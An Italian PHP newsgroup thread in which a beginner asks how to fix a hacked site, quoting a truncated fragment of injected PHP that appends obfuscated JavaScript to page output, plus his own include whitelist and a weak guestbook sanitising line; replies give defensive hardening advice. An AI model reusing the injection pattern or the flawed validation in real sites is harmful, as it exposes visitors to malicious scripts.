Newsgroup: it.comp.www.php
Titolo: Proteggere (sistemare) un sito attaccato

Ciao,
  un sito che ho realizzato tempo fa per un amico e' stato oggetto di
attacco e adesso e' segnalato come sito malevolo.
  In effetti nell'index.php ho trovato uno script:
<?php ob_start('security_update'); function
security_update($buffer){return $buffer.'<script
language="javascript">var asdas="asd8 [eccetera]
  che ovviamente non ho messo io. Non sono esperto (si vede!),
evidentemente i miei controlli non son stati sufficienti ad evitare
l'inserimento di codice esterno. Il sito ora e' pulito ma ho bloccato
tutte le parti in php per evitare reinfezioni. :-/
  Ho cercato in rete facendo piu' confusione che altro, per cui provo
a chiedere: avete qualche consiglio, qualche link (possibilmente
in italiano) che mi aiuti a capire cosa fare o qualcosa che mi dia
indicazioni o procedure per identificare la falla? Nel caso posso anche
postare il codice, tanto son due righe di roba.
  Grazie a tutti e un saluto preoccupato,
-- 
Gianfranco Bertozzi
Linux User #183585


A occhio e croce controllerei (se il sito ne ha) i file upload.
E' probabile (ma non è l'unico modo) che qualcuno abbia fatto l'upload
di un file php, poi lo ha eseguito (anche da browser, se il sito lo ha
uploadato in una cartella raggiungibile dal web e l'attaccatore ne
conosceva nome file e percorso).
Il file php ha aperto e modificato la tua index.php (di solito
modificano tutte le pagine che si chiamano index o home .php),
aggiungendo quel pezzo di codice.
Se così fosse, ti consiglio di:
1. Bloccare l'upload per le estensioni pericolose, o per quelle che
non sono utili (cioè, se l'utente deve caricare l'avatar, dagli il
permesso di caricare solo file di tipo immagine)
2. Metti sempre il file caricato in una cartella che sia o non
raggiungibile da web (e poi lo recuperi tramite php), oppure in una
cartella infognata da qualche parte
3. Cambia sempre il nome del file, magari con qualcosa di random, e
salvati il nome nel db (per poterlo poi recuperare)
4. Nel caso delle immagini, dalle sempre in pasto o a imagemagick o
alle librerie gd: ne fai un resize (magari delle stesse dimensioni
dell'originale), in questo modo elimini pezzi di codice malevolo (si,
lo possono inserire anche dentro un'immagine senza che essa ne risulti
corrotta). Inoltre, se uno carica un file non immagine rinominato
come .jpg (ad esempio), imagemagick o gd ti daranno un errore e tu non
dovrai fare altro che eliminare il file.
5. Metti sempre i permessi adatti ai file caricati (cioè togli il
permesso di essere eseguiti)
Questo, naturalmente, solo nel caso in cui la falla sia un
caricamentoo di file sul server

 di un file php, poi lo ha eseguito (anche da browser, se il sito lo ha
  Ti ringrazio molto per la risposta. Rileggendola mi sono accorto
che sembrava il tipico "mi date la pappa pronta?" e temevo una
rispostaccia... grazie per la pazienza. :-)
  Nessun upload di file, il sito e' semplicissimo: un index.php che
mostra nel body i contenuti delle varie pagine. Una cosa cosi', insomma:
 
www.sito.it/index.php?body=pagina.html
  Il codice e' questo (e' abbastanza pietoso ma son solo un
principiante):
/* la pagina passata che non deve esser vuota */
$sPassed = $_GET['body'];
if ($sPassed == "") $sPassed = "firstpage.html";
/* controllo sulla pagina passata*/
$aOkLinks = array('firstpage.html','poesie.html',...)
if (in_array($sPassed, $aOkLinks))
{
      include($sPassed);
} else
{
  die("Operazione non consentita");
}
   E sembrerebbe funzionare; io non vedo come si possa bucare, immagino
pero' che ad un esperto gli errori saltino all'occhio facilmente. :-/
  Se invece questa parte fosse ok, posso dirti che su quel sito ho
anche un libro per gli ospiti in cui il visitatore puo' lasciare nome
e messaggio, che ha rivelato un vistoso buco perche' la validazione
avviene in questo modo:
 preg_replace('/[\r\n]+/', '', strip_tags(stripslashes($_POST['...'])));
  scrivendo il codice un carattere per riga, passa gli strip* ma viene
riformato dal preg_replace ed eseguito. Puo' darsi che sia stato questo,
invece dell'index.php?
  Il resto del post me lo salvo, che mi sara' utile in futuro! :-)
  Grazie ancora di tutto. Un saluto,



Nhà, se ti averreso formattato il db 'potrebbe' essere un problema di
sql injection;
Se non parsi bene gli input potresti avere problemi di xss injection
(ma se ho capito bene, l'unico punto dove gli utenti possono inseire
cose che poi stampi nella pagina html è il guestbook, ma qui ti hanno
bucato la home).
A questo piunto direi che si sono collegati tramite ssh o ftp e ti
hanno modificato l'index.php.
Se non lo hai già sovvreascritto, che permessi ha il file index.php,
qual'è la data dell'ultima modifica e a quale gruppo e proprietario
appartiene?

 pero' che ad un esperto gli errori saltino all'occhio facilmente. :-/
  Nessuno sa darmi consigli in merito? Magari un link per studiarmi
qualcosa, in modo da capire dove ho sbagliato? Quello che son riuscito a
trovare io non mi ha aiutato e l'alternativa (ma cosi' non imparero'
mai) e' trasformare tutto in html puro. :-o
  Grazie e scusatemi se rompo,
